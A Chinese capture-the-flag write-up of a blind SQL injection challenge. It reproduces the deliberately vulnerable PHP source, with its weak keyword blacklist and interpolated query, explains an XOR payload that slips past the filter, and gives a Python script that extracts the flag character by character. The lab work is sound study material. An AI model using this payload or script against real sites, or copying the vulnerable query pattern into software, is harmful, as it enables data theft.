01、题目简介
02、解题步骤
启动并访问靶机

在开始的时候分别输入1、2、3是三种不同的结果,分别是
1:Hello, glzjin wants a girlfriend.
2:Do you want to be my girlfriend?
3:Error Occured When Fetch Result.然后通过经典的1‘注入测试一下,发现返回了bool(false)

然后我们再用永真表达式测试一下,发现出发了拦截,接着进行测试发现空格和and都不能使用
1 and 1=1
从上面总结出,这是布尔类型的盲注,但是我发现限制有点多,我就去网上剽窃了大佬的源码的题目源码进行分析
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}由从大佬哪里拿来的源码,我们就知道过滤了什么东西,union,or,and,||,&&,order,limit,*,;,%23,#,",还有空格都等常用常见的sql注入,但可以替换^ 符没被过滤,那么用 ^ 替换and,用()包裹替换空格,即可使用布尔类型的盲注爆破出flag。
这里可以使用异或的方法进行爆破,这里参考了大佬的wp
两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空
0^(ascii(substr((select(flag)from(flag)),1,1))>1)ascii:取第一个字符的ascii substr: (mysql里的substr的start是从1开始),substr的len可以无限大,这个不影响根据(ascii(substr((select(flag)from(flag)),1,1000))>1)的值来进行异或,这个值为1或者0再和1进行异或,根据页面回显即可判断出最终flag substr函数 substr(string,start,length) 所以我们要逐渐改变查询的位置,查询的长度一直是1,也就是我们每次只查询一个单词 ascii函数,ascii(str) ,str是一个字符串参数,返回值为最左侧字符的ascii码
import requests
import time
url = 'http://.../index.php'
flag = ''
i = 1
while True:
low, high = 0, 127
while low < high - 1:
mid = (low + high) // 2
payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
try:
r = requests.post(url, data={'id': payload}, timeout=3)
time.sleep(0.1)
if 'Hello, glzjin wants a girlfriend.' in r.text:
low = mid
else:
high = mid
except Exception as e:
print(f"Request failed: {e}")
continue
ch = chr(high)
if ch == '\x00': # 假设终止符为NULL
break
flag += ch
print(f"Position {i}: {ch} -> {flag}")
i += 1
print(f"Final flag: {flag}")